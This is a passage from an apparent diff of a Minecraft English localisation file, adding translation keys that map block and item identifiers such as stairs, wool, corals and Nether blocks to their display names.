"block.minecraft.dark_prismarine_stairs": "Dark Prismarine Stairs", + "block.minecraft.prismarine_stairs": "Prismarine Stairs", + "block.minecraft.prismarine_brick_stairs": "Prismarine Brick Stairs", + "block.minecraft.chest": "Chest", + "block.minecraft.trapped_chest": "Trapped Chest", + "block.minecraft.redstone_wire": "Redstone Wire", + "block.minecraft.diamond_ore": "Diamond Ore", + "block.minecraft.coal_block": "Block of Coal", + "block.minecraft.diamond_block": "Block of Diamond", + "block.minecraft.crafting_table": "Crafting Table", + "block.minecraft.wheat": "Wheat Crops", + "block.minecraft.farmland": "Farmland", + "block.minecraft.furnace": "Furnace", + "block.minecraft.oak_sign": "Oak Sign", + "block.minecraft.spruce_sign": "Spruce Sign", + "block.minecraft.birch_sign": "Birch Sign", + "block.minecraft.acacia_sign": "Acacia Sign", + "block.minecraft.jungle_sign": "Jungle Sign", + "block.minecraft.dark_oak_sign": "Dark Oak Sign", + "block.minecraft.oak_wall_sign": "Oak Wall Sign", + "block.minecraft.spruce_wall_sign": "Spruce Wall Sign", + "block.minecraft.birch_wall_sign": "Birch Wall Sign", + "block.minecraft.acacia_wall_sign": "Acacia Wall Sign", + "block.minecraft.jungle_wall_sign": "Jungle Wall Sign", + "block.minecraft.dark_oak_wall_sign": "Dark Oak Wall Sign", + "block.minecraft.ladder": "Ladder", + "block.minecraft.scaffolding": "Scaffolding", + "block.minecraft.rail": "Rail", + "block.minecraft.powered_rail": "Powered Rail", + "block.minecraft.activator_rail": "Activator Rail", + "block.minecraft.detector_rail": "Detector Rail", + "block.minecraft.cobblestone_stairs": "Cobblestone Stairs", + "block.minecraft.sandstone_stairs": "Sandstone Stairs", + "block.minecraft.red_sandstone_stairs": "Red Sandstone Stairs", + "block.minecraft.lever": "Lever", + "block.minecraft.stone_pressure_plate": "Stone Pressure Plate", + "block.minecraft.oak_pressure_plate": "Oak Pressure Plate", + "block.minecraft.spruce_pressure_plate": "Spruce Pressure Plate", + "block.minecraft.birch_pressure_plate": "Birch Pressure Plate", + "block.minecraft.jungle_pressure_plate": "Jungle Pressure Plate", + "block.minecraft.acacia_pressure_plate": "Acacia Pressure Plate", + "block.minecraft.dark_oak_pressure_plate": "Dark Oak Pressure Plate", + "block.minecraft.light_weighted_pressure_plate": "Light Weighted Pressure Plate", + "block.minecraft.heavy_weighted_pressure_plate": "Heavy Weighted Pressure Plate", + "block.minecraft.iron_door": "Iron Door", + "block.minecraft.redstone_ore": "Redstone Ore", + "block.minecraft.redstone_torch": "Redstone Torch", + "block.minecraft.redstone_wall_torch": "Redstone Wall Torch", + "block.minecraft.stone_button": "Stone Button", + "block.minecraft.oak_button": "Oak Button", + "block.minecraft.spruce_button": "Spruce Button", + "block.minecraft.birch_button": "Birch Button", + "block.minecraft.jungle_button": "Jungle Button", + "block.minecraft.acacia_button": "Acacia Button", + "block.minecraft.dark_oak_button": "Dark Oak Button", + "block.minecraft.snow": "Snow", + "block.minecraft.white_carpet": "White Carpet", + "block.minecraft.orange_carpet": "Orange Carpet", + "block.minecraft.magenta_carpet": "Magenta Carpet", + "block.minecraft.light_blue_carpet": "Light Blue Carpet", + "block.minecraft.yellow_carpet": "Yellow Carpet", + "block.minecraft.lime_carpet": "Lime Carpet", + "block.minecraft.pink_carpet": "Pink Carpet", + "block.minecraft.gray_carpet": "Gray Carpet", + "block.minecraft.light_gray_carpet": "Light Gray Carpet", + "block.minecraft.cyan_carpet": "Cyan Carpet", + "block.minecraft.purple_carpet": "Purple Carpet", + "block.minecraft.blue_carpet": "Blue Carpet", + "block.minecraft.brown_carpet": "Brown Carpet", + "block.minecraft.green_carpet": "Green Carpet", + "block.minecraft.red_carpet": "Red Carpet", + "block.minecraft.black_carpet": "Black Carpet", + "block.minecraft.ice": "Ice", + "block.minecraft.frosted_ice": "Frosted Ice", + "block.minecraft.packed_ice": "Packed Ice", + "block.minecraft.blue_ice": "Blue Ice", + "block.minecraft.cactus": "Cactus", + "block.minecraft.clay": "Clay", + "block.minecraft.white_terracotta": "White Terracotta", + "block.minecraft.orange_terracotta": "Orange Terracotta", + "block.minecraft.magenta_terracotta": "Magenta Terracotta", + "block.minecraft.light_blue_terracotta": "Light Blue Terracotta", + "block.minecraft.yellow_terracotta": "Yellow Terracotta", + "block.minecraft.lime_terracotta": "Lime Terracotta", + "block.minecraft.pink_terracotta": "Pink Terracotta", + "block.minecraft.gray_terracotta": "Gray Terracotta", + "block.minecraft.light_gray_terracotta": "Light Gray Terracotta", + "block.minecraft.cyan_terracotta": "Cyan Terracotta", + "block.minecraft.purple_terracotta": "Purple Terracotta", + "block.minecraft.blue_terracotta": "Blue Terracotta", + "block.minecraft.brown_terracotta": "Brown Terracotta", + "block.minecraft.green_terracotta": "Green Terracotta", + "block.minecraft.red_terracotta": "Red Terracotta", + "block.minecraft.black_terracotta": "Black Terracotta", + "block.minecraft.terracotta": "Terracotta", + "block.minecraft.sugar_cane": "Sugar Cane", + "block.minecraft.jukebox": "Jukebox", + "block.minecraft.oak_fence": "Oak Fence", + "block.minecraft.spruce_fence": "Spruce Fence", + "block.minecraft.birch_fence": "Birch Fence", + "block.minecraft.jungle_fence": "Jungle Fence", + "block.minecraft.dark_oak_fence": "Dark Oak Fence", + "block.minecraft.acacia_fence": "Acacia Fence", + "block.minecraft.oak_fence_gate": "Oak Fence Gate", + "block.minecraft.spruce_fence_gate": "Spruce Fence Gate", + "block.minecraft.birch_fence_gate": "Birch Fence Gate", + "block.minecraft.jungle_fence_gate": "Jungle Fence Gate", + "block.minecraft.dark_oak_fence_gate": "Dark Oak Fence Gate", + "block.minecraft.acacia_fence_gate": "Acacia Fence Gate", + "block.minecraft.pumpkin_stem": "Pumpkin Stem", + "block.minecraft.attached_pumpkin_stem": "Attached Pumpkin Stem", + "block.minecraft.pumpkin": "Pumpkin", + "block.minecraft.carved_pumpkin": "Carved Pumpkin", + "block.minecraft.jack_o_lantern": "Jack o'Lantern", + "block.minecraft.netherrack": "Netherrack", + "block.minecraft.soul_sand": "Soul Sand", + "block.minecraft.glowstone": "Glowstone", + "block.minecraft.nether_portal": "Nether Portal", + "block.minecraft.white_wool": "White Wool", + "block.minecraft.orange_wool": "Orange Wool", + "block.minecraft.magenta_wool": "Magenta Wool", + "block.minecraft.light_blue_wool": "Light Blue Wool", + "block.minecraft.yellow_wool": "Yellow Wool", + "block.minecraft.lime_wool": "Lime Wool", + "block.minecraft.pink_wool": "Pink Wool", + "block.minecraft.gray_wool": "Gray Wool", + "block.minecraft.light_gray_wool": "Light Gray Wool", + "block.minecraft.cyan_wool": "Cyan Wool", + "block.minecraft.purple_wool": "Purple Wool", + "block.minecraft.blue_wool": "Blue Wool", + "block.minecraft.brown_wool": "Brown Wool", + "block.minecraft.green_wool": "Green Wool", + "block.minecraft.red_wool": "Red Wool", + "block.minecraft.black_wool": "Black Wool", + "block.minecraft.lapis_ore": "Lapis Lazuli Ore", + "block.minecraft.lapis_block": "Lapis Lazuli Block", + "block.minecraft.dispenser": "Dispenser", + "block.minecraft.dropper": "Dropper", + "block.minecraft.note_block": "Note Block", + "block.minecraft.cake": "Cake", + "block.minecraft.bed.occupied": "This bed is occupied", + "block.minecraft.bed.obstructed": "This bed is obstructed", + "block.minecraft.bed.no_sleep": "You can sleep only at night or during thunderstorms", + "block.minecraft.bed.too_far_away": "You may not rest now; the bed is too far away", + "block.minecraft.bed.not_safe": "You may not rest now; there are monsters nearby", + "block.minecraft.spawn.not_valid": "You have no home bed or charged respawn anchor, or it was obstructed", + "block.minecraft.set_spawn": "Respawn point set", + "block.minecraft.oak_trapdoor": "Oak Trapdoor", + "block.minecraft.spruce_trapdoor": "Spruce Trapdoor", + "block.minecraft.birch_trapdoor": "Birch Trapdoor", + "block.minecraft.jungle_trapdoor": "Jungle Trapdoor", + "block.minecraft.acacia_trapdoor": "Acacia Trapdoor", + "block.minecraft.dark_oak_trapdoor": "Dark Oak Trapdoor", + "block.minecraft.iron_trapdoor": "Iron Trapdoor", + "block.minecraft.cobweb": "Cobweb", + "block.minecraft.stone_bricks": "Stone Bricks", + "block.minecraft.mossy_stone_bricks": "Mossy Stone Bricks", + "block.minecraft.cracked_stone_bricks": "Cracked Stone Bricks", + "block.minecraft.chiseled_stone_bricks": "Chiseled Stone Bricks", + "block.minecraft.infested_stone": "Infested Stone", + "block.minecraft.infested_cobblestone": "Infested Cobblestone", + "block.minecraft.infested_stone_bricks": "Infested Stone Bricks", + "block.minecraft.infested_mossy_stone_bricks": "Infested Mossy Stone Bricks", + "block.minecraft.infested_cracked_stone_bricks": "Infested Cracked Stone Bricks", + "block.minecraft.infested_chiseled_stone_bricks": "Infested Chiseled Stone Bricks", + "block.minecraft.piston": "Piston", + "block.minecraft.sticky_piston": "Sticky Piston", + "block.minecraft.iron_bars": "Iron Bars", + "block.minecraft.melon": "Melon", + "block.minecraft.brick_stairs": "Brick Stairs", + "block.minecraft.stone_brick_stairs": "Stone Brick Stairs", + "block.minecraft.vine": "Vines", + "block.minecraft.nether_bricks": "Nether Bricks", + "block.minecraft.nether_brick_fence": "Nether Brick Fence", + "block.minecraft.nether_brick_stairs": "Nether Brick Stairs", + "block.minecraft.nether_wart": "Nether Wart", + "block.minecraft.warped_wart_block": "Warped Wart Block", + "block.minecraft.warped_stem": "Warped Stem", + "block.minecraft.stripped_warped_stem": "Stripped Warped Stem", + "block.minecraft.warped_hyphae": "Warped Hyphae", + "block.minecraft.stripped_warped_hyphae": "Stripped Warped Hyphae", + "block.minecraft.crimson_stem": "Crimson Stem", + "block.minecraft.stripped_crimson_stem": "Stripped Crimson Stem", + "block.minecraft.crimson_hyphae": "Crimson Hyphae", + "block.minecraft.stripped_crimson_hyphae": "Stripped Crimson Hyphae", + "block.minecraft.warped_nylium": "Warped Nylium", + "block.minecraft.crimson_nylium": "Crimson Nylium", + "block.minecraft.warped_fungus": "Warped Fungus", + "block.minecraft.crimson_fungus": "Crimson Fungus", + "block.minecraft.crimson_roots": "Crimson Roots", + "block.minecraft.warped_roots": "Warped Roots", + "block.minecraft.nether_sprouts": "Nether Sprouts", + "block.minecraft.shroomlight": "Shroomlight", + "block.minecraft.weeping_vines": "Weeping Vines", + "block.minecraft.weeping_vines_plant": "Weeping Vines Plant", + "block.minecraft.twisting_vines": "Twisting Vines", + "block.minecraft.twisting_vines_plant": "Twisting Vines Plant", + "block.minecraft.soul_soil": "Soul Soil", + "block.minecraft.basalt": "Basalt", + "block.minecraft.polished_basalt": "Polished Basalt", + "block.minecraft.warped_planks": "Warped Planks", + "block.minecraft.warped_slab": "Warped Slab", + "block.minecraft.warped_pressure_plate": "Warped Pressure Plate", + "block.minecraft.warped_fence": "Warped Fence", + "block.minecraft.warped_trapdoor": "Warped Trapdoor", + "block.minecraft.warped_fence_gate": "Warped Fence Gate", + "block.minecraft.warped_stairs": "Warped Stairs", + "block.minecraft.warped_button": "Warped Button", + "block.minecraft.warped_door": "Warped Door", + "block.minecraft.warped_sign": "Warped Sign", + "block.minecraft.warped_wall_sign": "Warped Wall Sign", + "block.minecraft.crimson_planks": "Crimson Planks", + "block.minecraft.crimson_slab": "Crimson Slab", + "block.minecraft.crimson_pressure_plate": "Crimson Pressure Plate", + "block.minecraft.crimson_fence": "Crimson Fence", + "block.minecraft.crimson_trapdoor": "Crimson Trapdoor", + "block.minecraft.crimson_fence_gate": "Crimson Fence Gate", + "block.minecraft.crimson_stairs": "Crimson Stairs", + "block.minecraft.crimson_button": "Crimson Button", + "block.minecraft.crimson_door": "Crimson Door", + "block.minecraft.crimson_sign": "Crimson Sign", + "block.minecraft.crimson_wall_sign": "Crimson Wall Sign", + "block.minecraft.soul_fire": "Soul Fire", + "block.minecraft.cauldron": "Cauldron", + "block.minecraft.enchanting_table": "Enchanting Table", + "block.minecraft.anvil": "Anvil", + "block.minecraft.chipped_anvil": "Chipped Anvil", + "block.minecraft.damaged_anvil": "Damaged Anvil", + "block.minecraft.end_stone": "End Stone", + "block.minecraft.end_portal_frame": "End Portal Frame", + "block.minecraft.mycelium": "Mycelium", + "block.minecraft.lily_pad": "Lily Pad", + "block.minecraft.dragon_egg": "Dragon Egg", + "block.minecraft.redstone_lamp": "Redstone Lamp", + "block.minecraft.cocoa": "Cocoa", + "block.minecraft.ender_chest": "Ender Chest", + "block.minecraft.emerald_ore": "Emerald Ore", + "block.minecraft.emerald_block": "Block of Emerald", + "block.minecraft.redstone_block": "Block of Redstone", + "block.minecraft.tripwire": "Tripwire", + "block.minecraft.tripwire_hook": "Tripwire Hook", + "block.minecraft.command_block": "Command Block", + "block.minecraft.repeating_command_block": "Repeating Command Block", + "block.minecraft.chain_command_block": "Chain Command Block", + "block.minecraft.beacon": "Beacon", + "block.minecraft.beacon.primary": "Primary Power", + "block.minecraft.beacon.secondary": "Secondary Power", + "block.minecraft.cobblestone_wall": "Cobblestone Wall", + "block.minecraft.mossy_cobblestone_wall": "Mossy Cobblestone Wall", + "block.minecraft.carrots": "Carrots", + "block.minecraft.potatoes": "Potatoes", + "block.minecraft.daylight_detector": "Daylight Detector", + "block.minecraft.nether_quartz_ore": "Nether Quartz Ore", + "block.minecraft.hopper": "Hopper", + "block.minecraft.quartz_block": "Block of Quartz", + "block.minecraft.chiseled_quartz_block": "Chiseled Quartz Block", + "block.minecraft.quartz_pillar": "Quartz Pillar", + "block.minecraft.quartz_stairs": "Quartz Stairs", + "block.minecraft.slime_block": "Slime Block", + "block.minecraft.prismarine": "Prismarine", + "block.minecraft.prismarine_bricks": "Prismarine Bricks", + "block.minecraft.dark_prismarine": "Dark Prismarine", + "block.minecraft.sea_lantern": "Sea Lantern", + "block.minecraft.end_rod": "End Rod", + "block.minecraft.chorus_plant": "Chorus Plant", + "block.minecraft.chorus_flower": "Chorus Flower", + "block.minecraft.purpur_block": "Purpur Block", + "block.minecraft.purpur_pillar": "Purpur Pillar", + "block.minecraft.purpur_stairs": "Purpur Stairs", + "block.minecraft.purpur_slab": "Purpur Slab", + "block.minecraft.end_stone_bricks": "End Stone Bricks", + "block.minecraft.beetroots": "Beetroots", + "block.minecraft.grass_path": "Grass Path", + "block.minecraft.magma_block": "Magma Block", + "block.minecraft.nether_wart_block": "Nether Wart Block", + "block.minecraft.red_nether_bricks": "Red Nether Bricks", + "block.minecraft.bone_block": "Bone Block", + "block.minecraft.observer": "Observer", + "block.minecraft.shulker_box": "Shulker Box", + "block.minecraft.white_shulker_box": "White Shulker Box", + "block.minecraft.orange_shulker_box": "Orange Shulker Box", + "block.minecraft.magenta_shulker_box": "Magenta Shulker Box", + "block.minecraft.light_blue_shulker_box": "Light Blue Shulker Box", + "block.minecraft.yellow_shulker_box": "Yellow Shulker Box", + "block.minecraft.lime_shulker_box": "Lime Shulker Box", + "block.minecraft.pink_shulker_box": "Pink Shulker Box", + "block.minecraft.gray_shulker_box": "Gray Shulker Box", + "block.minecraft.light_gray_shulker_box": "Light Gray Shulker Box", + "block.minecraft.cyan_shulker_box": "Cyan Shulker Box", + "block.minecraft.purple_shulker_box": "Purple Shulker Box", + "block.minecraft.blue_shulker_box": "Blue Shulker Box", + "block.minecraft.brown_shulker_box": "Brown Shulker Box", + "block.minecraft.green_shulker_box": "Green Shulker Box", + "block.minecraft.red_shulker_box": "Red Shulker Box", + "block.minecraft.black_shulker_box": "Black Shulker Box", + "block.minecraft.white_glazed_terracotta": "White Glazed Terracotta", + "block.minecraft.orange_glazed_terracotta": "Orange Glazed Terracotta", + "block.minecraft.magenta_glazed_terracotta": "Magenta Glazed Terracotta", + "block.minecraft.light_blue_glazed_terracotta": "Light Blue Glazed Terracotta", + "block.minecraft.yellow_glazed_terracotta": "Yellow Glazed Terracotta", + "block.minecraft.lime_glazed_terracotta": "Lime Glazed Terracotta", + "block.minecraft.pink_glazed_terracotta": "Pink Glazed Terracotta", + "block.minecraft.gray_glazed_terracotta": "Gray Glazed Terracotta", + "block.minecraft.light_gray_glazed_terracotta": "Light Gray Glazed Terracotta", + "block.minecraft.cyan_glazed_terracotta": "Cyan Glazed Terracotta", + "block.minecraft.purple_glazed_terracotta": "Purple Glazed Terracotta", + "block.minecraft.blue_glazed_terracotta": "Blue Glazed Terracotta", + "block.minecraft.brown_glazed_terracotta": "Brown Glazed Terracotta", + "block.minecraft.green_glazed_terracotta": "Green Glazed Terracotta", + "block.minecraft.red_glazed_terracotta": "Red Glazed Terracotta", + "block.minecraft.black_glazed_terracotta": "Black Glazed Terracotta", + "block.minecraft.black_concrete": "Black Concrete", + "block.minecraft.red_concrete": "Red Concrete", + "block.minecraft.green_concrete": "Green Concrete", + "block.minecraft.brown_concrete": "Brown Concrete", + "block.minecraft.blue_concrete": "Blue Concrete", + "block.minecraft.purple_concrete": "Purple Concrete", + "block.minecraft.cyan_concrete": "Cyan Concrete", + "block.minecraft.light_gray_concrete": "Light Gray Concrete", + "block.minecraft.gray_concrete": "Gray Concrete", + "block.minecraft.pink_concrete": "Pink Concrete", + "block.minecraft.lime_concrete": "Lime Concrete", + "block.minecraft.yellow_concrete": "Yellow Concrete", + "block.minecraft.light_blue_concrete": "Light Blue Concrete", + "block.minecraft.magenta_concrete": "Magenta Concrete", + "block.minecraft.orange_concrete": "Orange Concrete", + "block.minecraft.white_concrete": "White Concrete", + "block.minecraft.black_concrete_powder": "Black Concrete Powder", + "block.minecraft.red_concrete_powder": "Red Concrete Powder", + "block.minecraft.green_concrete_powder": "Green Concrete Powder", + "block.minecraft.brown_concrete_powder": "Brown Concrete Powder", + "block.minecraft.blue_concrete_powder": "Blue Concrete Powder", + "block.minecraft.purple_concrete_powder": "Purple Concrete Powder", + "block.minecraft.cyan_concrete_powder": "Cyan Concrete Powder", + "block.minecraft.light_gray_concrete_powder": "Light Gray Concrete Powder", + "block.minecraft.gray_concrete_powder": "Gray Concrete Powder", + "block.minecraft.pink_concrete_powder": "Pink Concrete Powder", + "block.minecraft.lime_concrete_powder": "Lime Concrete Powder", + "block.minecraft.yellow_concrete_powder": "Yellow Concrete Powder", + "block.minecraft.light_blue_concrete_powder": "Light Blue Concrete Powder", + "block.minecraft.magenta_concrete_powder": "Magenta Concrete Powder", + "block.minecraft.orange_concrete_powder": "Orange Concrete Powder", + "block.minecraft.white_concrete_powder": "White Concrete Powder", + "block.minecraft.turtle_egg": "Turtle Egg", + "block.minecraft.piston_head": "Piston Head", + "block.minecraft.moving_piston": "Moving Piston", + "block.minecraft.red_mushroom": "Red Mushroom", + "block.minecraft.snow_block": "Snow Block", + "block.minecraft.attached_melon_stem": "Attached Melon Stem", + "block.minecraft.melon_stem": "Melon Stem", + "block.minecraft.brewing_stand": "Brewing Stand", + "block.minecraft.end_portal": "End Portal", + "block.minecraft.flower_pot": "Flower Pot", + "block.minecraft.potted_oak_sapling": "Potted Oak Sapling", + "block.minecraft.potted_spruce_sapling": "Potted Spruce Sapling", + "block.minecraft.potted_birch_sapling": "Potted Birch Sapling", + "block.minecraft.potted_jungle_sapling": "Potted Jungle Sapling", + "block.minecraft.potted_acacia_sapling": "Potted Acacia Sapling", + "block.minecraft.potted_dark_oak_sapling": "Potted Dark Oak Sapling", + "block.minecraft.potted_fern": "Potted Fern", + "block.minecraft.potted_dandelion": "Potted Dandelion", + "block.minecraft.potted_poppy": "Potted Poppy", + "block.minecraft.potted_blue_orchid": "Potted Blue Orchid", + "block.minecraft.potted_allium": "Potted Allium", + "block.minecraft.potted_azure_bluet": "Potted Azure Bluet", + "block.minecraft.potted_red_tulip": "Potted Red Tulip", + "block.minecraft.potted_orange_tulip": "Potted Orange Tulip", + "block.minecraft.potted_white_tulip": "Potted White Tulip", + "block.minecraft.potted_pink_tulip": "Potted Pink Tulip", + "block.minecraft.potted_oxeye_daisy": "Potted Oxeye Daisy", + "block.minecraft.potted_cornflower": "Potted Cornflower", + "block.minecraft.potted_lily_of_the_valley": "Potted Lily of the Valley", + "block.minecraft.potted_wither_rose": "Potted Wither Rose", + "block.minecraft.potted_red_mushroom": "Potted Red Mushroom", + "block.minecraft.potted_brown_mushroom": "Potted Brown Mushroom", + "block.minecraft.potted_dead_bush": "Potted Dead Bush", + "block.minecraft.potted_cactus": "Potted Cactus", + "block.minecraft.potted_bamboo": "Potted Bamboo", + "block.minecraft.potted_crimson_fungus": "Potted Crimson Fungus", + "block.minecraft.potted_warped_fungus": "Potted Warped Fungus", + "block.minecraft.potted_crimson_roots": "Potted Crimson Roots", + "block.minecraft.potted_warped_roots": "Potted Warped Roots", + "block.minecraft.skeleton_wall_skull": "Skeleton Wall Skull", + "block.minecraft.skeleton_skull": "Skeleton Skull", + "block.minecraft.wither_skeleton_wall_skull": "Wither Skeleton Wall Skull", + "block.minecraft.wither_skeleton_skull": "Wither Skeleton Skull", + "block.minecraft.zombie_wall_head": "Zombie Wall Head", + "block.minecraft.zombie_head": "Zombie Head", + "block.minecraft.player_wall_head": "Player Wall Head", + "block.minecraft.player_head": "Player Head", + "block.minecraft.player_head.named": "%s's Head", + "block.minecraft.creeper_wall_head": "Creeper Wall Head", + "block.minecraft.creeper_head": "Creeper Head", + "block.minecraft.dragon_wall_head": "Dragon Wall Head", + "block.minecraft.dragon_head": "Dragon Head", + "block.minecraft.end_gateway": "End Gateway", + "block.minecraft.structure_void": "Structure Void", + "block.minecraft.structure_block": "Structure Block", + "block.minecraft.void_air": "Void Air", + "block.minecraft.cave_air": "Cave Air", + "block.minecraft.bubble_column": "Bubble Column", + "block.minecraft.dead_tube_coral_block": "Dead Tube Coral Block", + "block.minecraft.dead_brain_coral_block": "Dead Brain Coral Block", + "block.minecraft.dead_bubble_coral_block": "Dead Bubble Coral Block", + "block.minecraft.dead_fire_coral_block": "Dead Fire Coral Block", + "block.minecraft.dead_horn_coral_block": "Dead Horn Coral Block", + "block.minecraft.tube_coral_block": "Tube Coral Block", + "block.minecraft.brain_coral_block": "Brain Coral Block", + "block.minecraft.bubble_coral_block": "Bubble Coral Block", + "block.minecraft.fire_coral_block": "Fire Coral Block", + "block.minecraft.horn_coral_block": "Horn Coral Block", + "block.minecraft.tube_coral": "Tube Coral", + "block.minecraft.brain_coral": "Brain Coral", + "block.minecraft.bubble_coral": "Bubble Coral", + "block.minecraft.fire_coral": "Fire Coral", + "block.minecraft.horn_coral": "Horn Coral", + "block.minecraft.dead_tube_coral": "Dead Tube Coral", + "block.minecraft.dead_brain_coral": "Dead Brain Coral", + "block.minecraft.dead_bubble_coral": "Dead Bubble Coral", + "block.minecraft.dead_fire_coral": "Dead Fire Coral", + "block.minecraft.dead_horn_coral": "Dead Horn Coral", + "block.minecraft.tube_coral_fan": "Tube Coral Fan", + "block.minecraft.brain_coral_fan": "Brain Coral Fan", + "block.minecraft.bubble_coral_fan": "Bubble Coral Fan", + "block.minecraft.fire_coral_fan": "Fire Coral Fan", + "block.minecraft.horn_coral_fan": "Horn Coral Fan", + "block.minecraft.dead_tube_coral_fan": "Dead Tube Coral Fan", + "block.minecraft.dead_brain_coral_fan": "Dead Brain Coral Fan", + "block.minecraft.dead_bubble_coral_fan": "Dead Bubble Coral Fan", + "block.minecraft.dead_fire_coral_fan": "Dead Fire Coral Fan", + "block.minecraft.dead_horn_coral_fan": "Dead Horn Coral Fan", + "block.minecraft.tube_coral_wall_fan": "Tube Coral Wall Fan", + "block.minecraft.brain_coral_wall_fan": "Brain Coral Wall Fan", + "block.minecraft.bubble_coral_wall_fan": "Bubble Coral Wall Fan", + "block.minecraft.fire_coral_wall_fan": "Fire Coral Wall Fan", + "block.minecraft.horn_coral_wall_fan": "Horn Coral Wall Fan", + "block.minecraft.dead_tube_coral_wall_fan": "Dead Tube Coral Wall Fan", + "block.minecraft.dead_brain_coral_wall_fan": "Dead Brain Coral Wall Fan", + "block.minecraft.dead_bubble_coral_wall_fan": "Dead Bubble Coral Wall Fan", + "block.minecraft.dead_fire_coral_wall_fan": "Dead Fire Coral Wall Fan", + "block.minecraft.dead_horn_coral_wall_fan": "Dead Horn Coral Wall Fan", + "block.minecraft.loom": "Loom", + "block.minecraft.conduit": "Conduit", + "block.minecraft.bamboo": "Bamboo", + "block.minecraft.bamboo_sapling": "Bamboo Shoot", + "block.minecraft.jigsaw": "Jigsaw Block", + "block.minecraft.composter": "Composter", + "block.minecraft.target": "Target", + "block.minecraft.polished_granite_stairs": "Polished Granite Stairs", + "block.minecraft.smooth_red_sandstone_stairs": "Smooth Red Sandstone Stairs", + "block.minecraft.mossy_stone_brick_stairs": "Mossy Stone Brick Stairs", + "block.minecraft.polished_diorite_stairs": "Polished Diorite Stairs", + "block.minecraft.mossy_cobblestone_stairs": "Mossy Cobblestone Stairs", + "block.minecraft.end_stone_brick_stairs": "End Stone Brick Stairs", + "block.minecraft.stone_stairs": "Stone Stairs", + "block.minecraft.smooth_sandstone_stairs": "Smooth Sandstone Stairs", + "block.minecraft.smooth_quartz_stairs": "Smooth Quartz Stairs", + "block.minecraft.granite_stairs": "Granite Stairs", + "block.minecraft.andesite_stairs": "Andesite Stairs", + "block.minecraft.red_nether_brick_stairs": "Red Nether Brick Stairs", + "block.minecraft.polished_andesite_stairs": "Polished Andesite Stairs", + "block.minecraft.diorite_stairs": "Diorite Stairs", + "block.minecraft.polished_granite_slab": "Polished Granite Slab", + "block.minecraft.smooth_red_sandstone_slab": "Smooth Red Sandstone Slab", + "block.minecraft.mossy_stone_brick_slab": "Mossy Stone Brick Slab", + "block.minecraft.polished_diorite_slab": "Polished Diorite Slab", + "block.minecraft.mossy_cobblestone_slab": "Mossy Cobblestone Slab", + "block.minecraft.end_stone_brick_slab": "End Stone Brick Slab", + "block.minecraft.smooth_sandstone_slab": "Smooth Sandstone Slab", + "block.minecraft.smooth_quartz_slab": "Smooth Quartz Slab", + "block.minecraft.granite_slab": "Granite Slab", + "block.minecraft.andesite_slab": "Andesite Slab", + "block.minecraft.red_nether_brick_slab": "Red Nether Brick Slab", + "block.minecraft.polished_andesite_slab": "Polished Andesite Slab", + "block.minecraft.diorite_slab": "Diorite Slab", + "block.minecraft.brick_wall": "Brick Wall", + "block.minecraft.prismarine_wall": "Prismarine Wall", + "block.minecraft.red_sandstone_wall": "Red Sandstone Wall", + "block.minecraft.mossy_stone_brick_wall": "Mossy Stone Brick Wall", + "block.minecraft.granite_wall": "Granite Wall", + "block.minecraft.stone_brick_wall": "Stone Brick Wall", + "block.minecraft.nether_brick_wall": "Nether Brick Wall", + "block.minecraft.andesite_wall": "Andesite Wall", + "block.minecraft.red_nether_brick_wall": "Red Nether Brick Wall", + "block.minecraft.sandstone_wall": "Sandstone Wall", + "block.minecraft.end_stone_brick_wall": "End Stone Brick Wall", + "block.minecraft.diorite_wall": "Diorite Wall", + "block.minecraft.barrel": "Barrel", + "block.minecraft.smoker": "Smoker", + "block.minecraft.blast_furnace": "Blast Furnace", + "block.minecraft.cartography_table": "Cartography Table", + "block.minecraft.fletching_table": "Fletching Table", + "block.minecraft.smithing_table": "Smithing Table", + "block.minecraft.grindstone": "Grindstone", + "block.minecraft.lectern": "Lectern", + "block.minecraft.stonecutter": "Stonecutter", + "block.minecraft.bell": "Bell", + "block.minecraft.ominous_banner": "Ominous Banner", + "block.minecraft.lantern": "Lantern", + "block.minecraft.soul_lantern": "Soul Lantern", + "block.minecraft.sweet_berry_bush": "Sweet Berry Bush", + "block.minecraft.campfire": "Campfire", + "block.minecraft.soul_campfire": "Soul Campfire", + "block.minecraft.beehive": "Beehive", + "block.minecraft.bee_nest": "Bee Nest", + "block.minecraft.honey_block": "Honey Block", + "block.minecraft.honeycomb_block": "Honeycomb Block", + "block.minecraft.lodestone": "Lodestone", + "block.minecraft.netherite_block": "Block of Netherite", + "block.minecraft.ancient_debris": "Ancient Debris", + "block.minecraft.crying_obsidian": "Crying Obsidian", + "block.minecraft.blackstone": "Blackstone", + "block.minecraft.blackstone_slab": "Blackstone Slab", + "block.minecraft.blackstone_stairs": "Blackstone Stairs", + "block.minecraft.blackstone_wall": "Blackstone Wall", + "block.minecraft.polished_blackstone_bricks": "Polished Blackstone Bricks", + "block.minecraft.polished_blackstone_brick_slab": "Polished Blackstone Brick Slab", + "block.minecraft.polished_blackstone_brick_stairs": "Polished Blackstone Brick Stairs", + "block.minecraft.polished_blackstone_brick_wall": "Polished Blackstone Brick Wall", + "block.minecraft.chiseled_polished_blackstone": "Chiseled Polished Blackstone", + "block.minecraft.cracked_polished_blackstone_bricks": "Cracked Polished Blackstone Bricks", + "block.minecraft.gilded_blackstone": "Gilded Blackstone", + "block.minecraft.polished_blackstone": "Polished Blackstone", + "block.minecraft.polished_blackstone_wall": "Polished Blackstone Wall", + "block.minecraft.polished_blackstone_slab": "Polished Blackstone Slab", + "block.minecraft.polished_blackstone_stairs": "Polished Blackstone Stairs", + "block.minecraft.polished_blackstone_pressure_plate": "Polished Blackstone Pressure Plate", + "block.minecraft.polished_blackstone_button": "Polished Blackstone Button", + "block.minecraft.cracked_nether_bricks": "Cracked Nether Bricks", + "block.minecraft.chiseled_nether_bricks": "Chiseled Nether Bricks", + "block.minecraft.quartz_bricks": "Quartz Bricks", + "block.minecraft.chain": "Chain", + "item.minecraft.name_tag": "Name Tag", + "item.minecraft.lead": "Lead", + "item.minecraft.iron_shovel": "Iron Shovel", + "item.minecraft.iron_pickaxe": "Iron Pickaxe", + "item.minecraft.iron_axe": "Iron Axe", + "item.minecraft.flint_and_steel": "Flint and Steel", + "item.minecraft.apple": "Apple", + "item.minecraft.cookie": "Cookie", + "item.minecraft.bow": "Bow", + "item.minecraft.arrow": "Arrow", + "item.minecraft.spectral_arrow": "Spectral Arrow", + "item.minecraft.tipped_arrow": "Tipped Arrow", + "item.minecraft.dried_kelp": "Dried Kelp", + "item.minecraft.coal": "Coal", + "item.minecraft.charcoal": "Charcoal", + "item.minecraft.diamond": "Diamond", + "item.minecraft.emerald": "Emerald", + 